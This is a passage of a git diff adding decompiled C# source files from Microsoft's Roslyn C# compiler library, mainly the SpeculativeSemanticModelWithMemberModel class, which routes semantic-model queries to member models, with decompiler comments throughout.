ImmutableArray GetDocumentationCommentTriviaFromSyntaxNode(CSharpSyntaxNode syntaxNode, DiagnosticBag diagnostics) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + //IL_00d4: Expected O, but got Unknown + if ((int)syntaxNode.SyntaxTree.Options.DocumentationMode < 1) + { + return ImmutableArray.Empty; + } + if (syntaxNode.Kind() == SyntaxKind.VariableDeclarator) + { + CSharpSyntaxNode cSharpSyntaxNode; + for (cSharpSyntaxNode = syntaxNode; cSharpSyntaxNode != null; cSharpSyntaxNode = cSharpSyntaxNode.Parent) + { + SyntaxKind syntaxKind = cSharpSyntaxNode.Kind(); + if (syntaxKind == SyntaxKind.FieldDeclaration || syntaxKind == SyntaxKind.EventFieldDeclaration) + { + break; + } + } + if (cSharpSyntaxNode != null) + { + syntaxNode = cSharpSyntaxNode; + } + } + ArrayBuilder val = null; + bool flag = false; + SyntaxTriviaList leadingTrivia = syntaxNode.GetLeadingTrivia(); + Reversed val2 = ((SyntaxTriviaList)(ref leadingTrivia)).Reverse(); + Enumerator enumerator = ((Reversed)(ref val2)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxTrivia current = ((Enumerator)(ref enumerator)).Current; + switch (current.Kind()) + { + case SyntaxKind.SingleLineDocumentationCommentTrivia: + case SyntaxKind.MultiLineDocumentationCommentTrivia: + if (flag) + { + SyntaxTree syntaxTree = ((SyntaxTrivia)(ref current)).SyntaxTree; + if (syntaxTree.ReportDocumentationCommentDiagnostics()) + { + int position = ((SyntaxTrivia)(ref current)).Position; + diagnostics.Add(ErrorCode.WRN_UnprocessedXMLComment, (Location)new SourceLocation(syntaxTree, new TextSpan(position, 1))); + } + } + else + { + if (val == null) + { + val = ArrayBuilder.GetInstance(); + } + val.Add((DocumentationCommentTriviaSyntax)(object)((SyntaxTrivia)(ref current)).GetStructure()); + } + break; + default: + if (val != null) + { + flag = true; + } + break; + case SyntaxKind.EndOfLineTrivia: + case SyntaxKind.WhitespaceTrivia: + break; + } + } + if (val == null) + { + return ImmutableArray.Empty; + } + val.ReverseContents(); + return val.ToImmutableAndFree(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SpeculativeSemanticModelWithMemberModel.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SpeculativeSemanticModelWithMemberModel.cs new file mode 100644 index 0000000..be31ea2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SpeculativeSemanticModelWithMemberModel.cs @@ -0,0 +1,514 @@ +using System; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class SpeculativeSemanticModelWithMemberModel : PublicSemanticModel +{ + private readonly SyntaxTreeSemanticModel _parentSemanticModel; + + private readonly int _position; + + private readonly NullableWalker.SnapshotManager? _parentSnapshotManagerOpt; + + private readonly MemberSemanticModel _memberModel; + + private ImmutableDictionary _childMemberModels = ImmutableDictionary.Empty; + + internal NullableWalker.SnapshotManager? ParentSnapshotManagerOpt => _parentSnapshotManagerOpt; + + public override bool IsSpeculativeSemanticModel => true; + + public override int OriginalPositionForSpeculation => _position; + + public override CSharpSemanticModel ParentModel => _parentSemanticModel; + + public override CSharpCompilation Compilation => _parentSemanticModel.Compilation; + + internal override CSharpSyntaxNode Root => _memberModel.Root; + + public override SyntaxTree SyntaxTree => _memberModel.SyntaxTree; + + public override bool IgnoresAccessibility => ((SemanticModel)_parentSemanticModel).IgnoresAccessibility; + + private SpeculativeSemanticModelWithMemberModel(SyntaxTreeSemanticModel parentSemanticModel, int position, NullableWalker.SnapshotManager? snapshotManagerOpt) + { + _parentSemanticModel = parentSemanticModel; + _position = position; + _parentSnapshotManagerOpt = snapshotManagerOpt; + _memberModel = null; + } + + public SpeculativeSemanticModelWithMemberModel(SyntaxTreeSemanticModel parentSemanticModel, int position, AttributeSyntax syntax, NamedTypeSymbol attributeType, AliasSymbol aliasOpt, Binder rootBinder, ImmutableDictionary? parentRemappedSymbolsOpt) + : this(parentSemanticModel, position, null) + { + _memberModel = new AttributeSemanticModel(syntax, attributeType, getAttributeTargetFromPosition(position, parentSemanticModel), aliasOpt, rootBinder, this, parentRemappedSymbolsOpt); + static Symbol? getAttributeTargetFromPosition(int num, SyntaxTreeSemanticModel model) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken val = model.SyntaxTree.GetRoot(default(CancellationToken)).FindToken(num, false); + SyntaxNode parent = ((SyntaxToken)(ref val)).Parent; + parent = (SyntaxNode)(object)((parent == null) ? null : parent.FirstAncestorOrSelf((Func)null, true)?.Parent); + if (parent != null) + { + return ((SemanticModel)model).GetDeclaredSymbolForNode(parent, default(CancellationToken)).GetSymbol(); + } + return null; + } + } + + public SpeculativeSemanticModelWithMemberModel(SyntaxTreeSemanticModel parentSemanticModel, int position, Symbol owner, EqualsValueClauseSyntax syntax, Binder rootBinder, ImmutableDictionary? parentRemappedSymbolsOpt) + : this(parentSemanticModel, position, null) + { + _memberModel = new InitializerSemanticModel(syntax, owner, rootBinder, this, parentRemappedSymbolsOpt); + } + + public SpeculativeSemanticModelWithMemberModel(SyntaxTreeSemanticModel parentModel, int position, Symbol owner, TypeSyntax type, Binder rootBinder, ImmutableDictionary? parentRemappedSymbolsOpt, NullableWalker.SnapshotManager? snapshotManagerOpt) + : this(parentModel, position, snapshotManagerOpt) + { + _memberModel = new MemberSemanticModel.SpeculativeMemberSemanticModel(this, owner, type, rootBinder, parentRemappedSymbolsOpt); + } + + public SpeculativeSemanticModelWithMemberModel(SyntaxTreeSemanticModel parentSemanticModel, int position, MethodSymbol owner, CSharpSyntaxNode syntax, Binder rootBinder, ImmutableDictionary? parentRemappedSymbolsOpt, NullableWalker.SnapshotManager? snapshotManagerOpt) + : this(parentSemanticModel, position, snapshotManagerOpt) + { + _memberModel = new MethodBodySemanticModel(owner, rootBinder, syntax, this, parentRemappedSymbolsOpt); + } + + private MemberSemanticModel GetEnclosingMemberModel(int position) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken val = Root.FindTokenIncludingCrefAndNameAttributes(position); + SyntaxNode parent = ((SyntaxToken)(ref val)).Parent; + if (parent != null) + { + return GetEnclosingMemberModel(parent); + } + return _memberModel; + } + + private MemberSemanticModel GetEnclosingMemberModel(SyntaxNode node) + { + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + if (node.SyntaxTree != SyntaxTree) + { + return _memberModel; + } + SyntaxNode val = node.FirstAncestorOrSelf((Func)delegate(SyntaxNode n) + { + SyntaxKind syntaxKind = n.Kind(); + return (syntaxKind == SyntaxKind.Attribute || syntaxKind == SyntaxKind.Parameter) ? true : false; + }, true); + if (val != null && (object)val != Root && val.Parent != null) + { + TextSpan span = ((SyntaxNode)Root).Span; + if (((TextSpan)(ref span)).Contains(val.Span)) + { + MemberSemanticModel enclosingMemberModel = GetEnclosingMemberModel(val.Parent); + if (!(val is AttributeSyntax attribute)) + { + if (val is ParameterSyntax paramDecl) + { + return GetOrAddModelForParameter(node, enclosingMemberModel, paramDecl); + } + ExceptionUtilities.UnexpectedValue((object)val); + return enclosingMemberModel; + } + return GetOrAddModelForAttribute(enclosingMemberModel, attribute); + } + } + return _memberModel; + } + + private MemberSemanticModel GetOrAddModelForAttribute(MemberSemanticModel containing, AttributeSyntax attribute) + { + return ImmutableInterlocked.GetOrAdd(ref _childMemberModels, attribute, (CSharpSyntaxNode node, (Binder binder, MemberSemanticModel model) binderAndModel) => CreateModelForAttribute(binderAndModel.binder, (AttributeSyntax)node, binderAndModel.model), (containing.GetEnclosingBinder(((SyntaxNode)attribute).SpanStart), containing)); + } + + private MemberSemanticModel GetOrAddModelForParameter(SyntaxNode node, MemberSemanticModel containing, ParameterSyntax paramDecl) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + EqualsValueClauseSyntax equalsValueClauseSyntax = paramDecl.Default; + if (equalsValueClauseSyntax != null) + { + TextSpan fullSpan = ((SyntaxNode)equalsValueClauseSyntax).FullSpan; + if (((TextSpan)(ref fullSpan)).Contains(node.Span)) + { + ParameterSymbol symbol = ((ISymbol?)(object)containing.GetDeclaredSymbol(paramDecl)).GetSymbol(); + if ((object)symbol != null) + { + return ImmutableInterlocked.GetOrAdd(ref _childMemberModels, equalsValueClauseSyntax, (CSharpSyntaxNode equalsValue, (CSharpCompilation compilation, ParameterSyntax paramDecl, ParameterSymbol parameterSymbol, MemberSemanticModel containing) tuple) => InitializerSemanticModel.Create(this, tuple.paramDecl, tuple.parameterSymbol, tuple.containing.GetEnclosingBinder(((SyntaxNode)tuple.paramDecl).SpanStart).CreateBinderForParameterDefaultValue(tuple.parameterSymbol, (EqualsValueClauseSyntax)equalsValue), tuple.containing.GetRemappedSymbols()), (Compilation, paramDecl, symbol, containing)); + } + } + } + return containing; + } + + internal override MemberSemanticModel GetMemberModel(SyntaxNode node) + { + return GetEnclosingMemberModel(node).GetMemberModel(node); + } + + public override Conversion ClassifyConversion(ExpressionSyntax expression, ITypeSymbol destination, bool isExplicitInSource = false) + { + return GetEnclosingMemberModel((SyntaxNode)(object)expression).ClassifyConversion(expression, destination, isExplicitInSource); + } + + internal override Conversion ClassifyConversionForCast(ExpressionSyntax expression, TypeSymbol destination) + { + return GetEnclosingMemberModel((SyntaxNode)(object)expression).ClassifyConversionForCast(expression, destination); + } + + public override ImmutableArray GetSyntaxDiagnostics(TextSpan? span = null, CancellationToken cancellationToken = default(CancellationToken)) + { + throw new NotSupportedException(); + } + + public override ImmutableArray GetDeclarationDiagnostics(TextSpan? span = null, CancellationToken cancellationToken = default(CancellationToken)) + { + throw new NotSupportedException(); + } + + public override ImmutableArray GetMethodBodyDiagnostics(TextSpan? span = null, CancellationToken cancellationToken = default(CancellationToken)) + { + throw new NotSupportedException(); + } + + public override ImmutableArray GetDiagnostics(TextSpan? span = null, CancellationToken cancellationToken = default(CancellationToken)) + { + throw new NotSupportedException(); + } + + public override INamespaceSymbol GetDeclaredSymbol(NamespaceDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override INamespaceSymbol GetDeclaredSymbol(FileScopedNamespaceDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override INamedTypeSymbol GetDeclaredSymbol(BaseTypeDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override INamedTypeSymbol GetDeclaredSymbol(DelegateDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override IFieldSymbol GetDeclaredSymbol(EnumMemberDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override ISymbol GetDeclaredSymbol(LocalFunctionStatementSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override ISymbol GetDeclaredSymbol(MemberDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override IMethodSymbol GetDeclaredSymbol(CompilationUnitSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override IMethodSymbol GetDeclaredSymbol(BaseMethodDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override ISymbol GetDeclaredSymbol(BasePropertyDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override IPropertySymbol GetDeclaredSymbol(PropertyDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override IPropertySymbol GetDeclaredSymbol(IndexerDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override IEventSymbol GetDeclaredSymbol(EventDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override IMethodSymbol GetDeclaredSymbol(AccessorDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override IMethodSymbol GetDeclaredSymbol(ArrowExpressionClauseSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override ISymbol GetDeclaredSymbol(VariableDeclaratorSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override ISymbol GetDeclaredSymbol(SingleVariableDesignationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + internal override LocalSymbol GetAdjustedLocalSymbol(SourceLocalSymbol local) + { + return _memberModel.GetAdjustedLocalSymbol(local); + } + + public override ILabelSymbol GetDeclaredSymbol(LabeledStatementSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override ILabelSymbol GetDeclaredSymbol(SwitchLabelSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override IAliasSymbol GetDeclaredSymbol(UsingDirectiveSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override IAliasSymbol GetDeclaredSymbol(ExternAliasDirectiveSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override IParameterSymbol GetDeclaredSymbol(ParameterSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + internal override ImmutableArray GetDeclaredSymbols(BaseFieldDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declarationSyntax).GetDeclaredSymbols(declarationSyntax, cancellationToken); + } + + public override ITypeParameterSymbol GetDeclaredSymbol(TypeParameterSyntax typeParameter, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)typeParameter).GetDeclaredSymbol(typeParameter, cancellationToken); + } + + public override IRangeVariableSymbol GetDeclaredSymbol(JoinIntoClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)node).GetDeclaredSymbol(node, cancellationToken); + } + + public override IRangeVariableSymbol GetDeclaredSymbol(QueryClauseSyntax queryClause, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)queryClause).GetDeclaredSymbol(queryClause, cancellationToken); + } + + public override IRangeVariableSymbol GetDeclaredSymbol(QueryContinuationSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)node).GetDeclaredSymbol(node, cancellationToken); + } + + public override AwaitExpressionInfo GetAwaitExpressionInfo(AwaitExpressionSyntax node) + { + return GetEnclosingMemberModel((SyntaxNode)(object)node).GetAwaitExpressionInfo(node); + } + + public override ForEachStatementInfo GetForEachStatementInfo(ForEachStatementSyntax node) + { + return GetEnclosingMemberModel((SyntaxNode)(object)node).GetForEachStatementInfo(node); + } + + public override ForEachStatementInfo GetForEachStatementInfo(CommonForEachStatementSyntax node) + { + return GetEnclosingMemberModel((SyntaxNode)(object)node).GetForEachStatementInfo(node); + } + + public override DeconstructionInfo GetDeconstructionInfo(AssignmentExpressionSyntax node) + { + return GetEnclosingMemberModel((SyntaxNode)(object)node).GetDeconstructionInfo(node); + } + + public override DeconstructionInfo GetDeconstructionInfo(ForEachVariableStatementSyntax node) + { + return GetEnclosingMemberModel((SyntaxNode)(object)node).GetDeconstructionInfo(node); + } + + public override QueryClauseInfo GetQueryClauseInfo(QueryClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)node).GetQueryClauseInfo(node, cancellationToken); + } + + public override IPropertySymbol GetDeclaredSymbol(AnonymousObjectMemberDeclaratorSyntax declaratorSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declaratorSyntax).GetDeclaredSymbol(declaratorSyntax, cancellationToken); + } + + public override INamedTypeSymbol GetDeclaredSymbol(AnonymousObjectCreationExpressionSyntax declaratorSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declaratorSyntax).GetDeclaredSymbol(declaratorSyntax, cancellationToken); + } + + public override INamedTypeSymbol GetDeclaredSymbol(TupleExpressionSyntax declaratorSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declaratorSyntax).GetDeclaredSymbol(declaratorSyntax, cancellationToken); + } + + public override ISymbol GetDeclaredSymbol(ArgumentSyntax declaratorSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)declaratorSyntax).GetDeclaredSymbol(declaratorSyntax, cancellationToken); + } + + internal override IOperation? GetOperationWorker(CSharpSyntaxNode node, CancellationToken cancellationToken) + { + return GetEnclosingMemberModel((SyntaxNode)(object)node).GetOperationWorker(node, cancellationToken); + } + + internal override SymbolInfo GetSymbolInfoWorker(CSharpSyntaxNode node, SymbolInfoOptions options, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return GetEnclosingMemberModel((SyntaxNode)(object)node).GetSymbolInfoWorker(node, options, cancellationToken); + } + + internal override CSharpTypeInfo GetTypeInfoWorker(CSharpSyntaxNode node, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)node).GetTypeInfoWorker(node, cancellationToken); + } + + internal override ImmutableArray GetMemberGroupWorker(CSharpSyntaxNode node, SymbolInfoOptions options, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)node).GetMemberGroupWorker(node, options, cancellationToken); + } + + internal override ImmutableArray GetIndexerGroupWorker(CSharpSyntaxNode node, SymbolInfoOptions options, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingMemberModel((SyntaxNode)(object)node).GetIndexerGroupWorker(node, options, cancellationToken); + } + + internal override Optional GetConstantValueWorker(CSharpSyntaxNode node, CancellationToken cancellationToken) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return GetEnclosingMemberModel((SyntaxNode)(object)node).GetConstantValueWorker(node, cancellationToken); + } + + internal override SymbolInfo GetCollectionInitializerSymbolInfoWorker(InitializerExpressionSyntax collectionInitializer, ExpressionSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return GetEnclosingMemberModel((SyntaxNode)(object)collectionInitializer).GetCollectionInitializerSymbolInfoWorker(collectionInitializer, node, cancellationToken); + } + + public override SymbolInfo GetSymbolInfo(OrderingSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return GetEnclosingMemberModel((SyntaxNode)(object)node).GetSymbolInfo(node, cancellationToken); + } + + public override SymbolInfo GetSymbolInfo(SelectOrGroupClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return GetEnclosingMemberModel((SyntaxNode)(object)node).GetSymbolInfo(node, cancellationToken); + } + + public override TypeInfo GetTypeInfo(SelectOrGroupClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return GetEnclosingMemberModel((SyntaxNode)(object)node).GetTypeInfo(node, cancellationToken); + } + + internal override Binder GetEnclosingBinderInternal(int position) + { + return GetEnclosingMemberModel(position).GetEnclosingBinderInternal(position); + } + + internal override Symbol RemapSymbolIfNecessaryCore(Symbol symbol) + { + return _memberModel.RemapSymbolIfNecessaryCore(symbol); + } + + internal sealed override Func GetSyntaxNodesToAnalyzeFilter(SyntaxNode declaredNode, ISymbol declaredSymbol) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/SpeculativeSemanticModelWithMemberModel.cs", 503); + } + + internal override bool ShouldSkipSyntaxNodeAnalysis(SyntaxNode node, ISymbol containingSymbol) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/SpeculativeSemanticModelWithMemberModel.cs", 508); + } + + internal override BoundNode Bind(Binder binder, CSharpSyntaxNode node, BindingDiagnosticBag diagnostics) + { + return GetEnclosingMemberModel((SyntaxNode)(object)node).Bind(binder, node, diagnostics); + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, ConstructorInitializerSyntax constructorInitializer, out PublicSemanticModel? speculativeModel) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/SpeculativeSemanticModelWithMemberModel.cs", 518); + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, PrimaryConstructorBaseTypeSyntax constructorInitializer, out PublicSemanticModel? speculativeModel) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/SpeculativeSemanticModelWithMemberModel.cs", 523); + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, EqualsValueClauseSyntax initializer, out PublicSemanticModel? speculativeModel) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/SpeculativeSemanticModelWithMemberModel.cs", 528); + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, ArrowExpressionClauseSyntax expressionBody, out PublicSemanticModel? speculativeModel) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/SpeculativeSemanticModelWithMemberModel.cs", 533); + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, StatementSyntax statement, out PublicSemanticModel? speculativeModel) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/SpeculativeSemanticModelWithMemberModel.cs", 538); + } + + internal override bool TryGetSpeculativeSemanticModelForMethodBodyCore(SyntaxTreeSemanticModel parentModel, int position, BaseMethodDeclarationSyntax method, out PublicSemanticModel? speculativeModel) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/SpeculativeSemanticModelWithMemberModel.cs", 543); + } + + internal override bool TryGetSpeculativeSemanticModelForMethodBodyCore(SyntaxTreeSemanticModel parentModel, int position, AccessorDeclarationSyntax accessor, out PublicSemanticModel? speculativeModel) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/SpeculativeSemanticModelWithMemberModel.cs", 548); + } + + internal sealed override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, TypeSyntax type, SpeculativeBindingOption bindingOption, out PublicSemanticModel speculativeModel) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/SpeculativeSemanticModelWithMemberModel.cs", 553); + } + + internal sealed override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, CrefSyntax crefSyntax, out PublicSemanticModel speculativeModel) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/SpeculativeSemanticModelWithMemberModel.cs", 558); + } + + internal override BoundExpression GetSpeculativelyBoundExpression(int position, ExpressionSyntax expression, SpeculativeBindingOption bindingOption, out Binder binder, out ImmutableArray crefSymbols) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return GetEnclosingMemberModel(CheckAndAdjustPosition(position)).GetSpeculativelyBoundExpression(position, expression, bindingOption, out binder, out crefSymbols); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SpeculativeSyntaxTreeSemanticModel.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SpeculativeSyntaxTreeSemanticModel.cs new file mode 100644 index 0000000..443e667 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SpeculativeSyntaxTreeSemanticModel.cs @@ -0,0 +1,100 @@ +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class SpeculativeSyntaxTreeSemanticModel : SyntaxTreeSemanticModel +{ + private readonly SyntaxTreeSemanticModel _parentSemanticModel; + + private readonly CSharpSyntaxNode _root; + + private readonly Binder _rootBinder; + + private readonly int _position; + + private readonly SpeculativeBindingOption _bindingOption; + + public override bool IsSpeculativeSemanticModel => true; + + public override int OriginalPositionForSpeculation => _position; + + public override CSharpSemanticModel ParentModel => _parentSemanticModel; + + internal override CSharpSyntaxNode Root => _root; + + public static SpeculativeSyntaxTreeSemanticModel Create(SyntaxTreeSemanticModel parentSemanticModel, TypeSyntax root, Binder rootBinder, int position, SpeculativeBindingOption bindingOption) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + return CreateCore(parentSemanticModel, root, rootBinder, position, bindingOption); + } + + public static SpeculativeSyntaxTreeSemanticModel Create(SyntaxTreeSemanticModel parentSemanticModel, CrefSyntax root, Binder rootBinder, int position) + { + return CreateCore(parentSemanticModel, root, rootBinder, position, (SpeculativeBindingOption)1); + } + + private static SpeculativeSyntaxTreeSemanticModel CreateCore(SyntaxTreeSemanticModel parentSemanticModel, CSharpSyntaxNode root, Binder rootBinder, int position, SpeculativeBindingOption bindingOption) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + return new SpeculativeSyntaxTreeSemanticModel(parentSemanticModel, root, rootBinder, position, bindingOption); + } + + private SpeculativeSyntaxTreeSemanticModel(SyntaxTreeSemanticModel parentSemanticModel, CSharpSyntaxNode root, Binder rootBinder, int position, SpeculativeBindingOption bindingOption) + : base(parentSemanticModel.Compilation, parentSemanticModel.SyntaxTree, 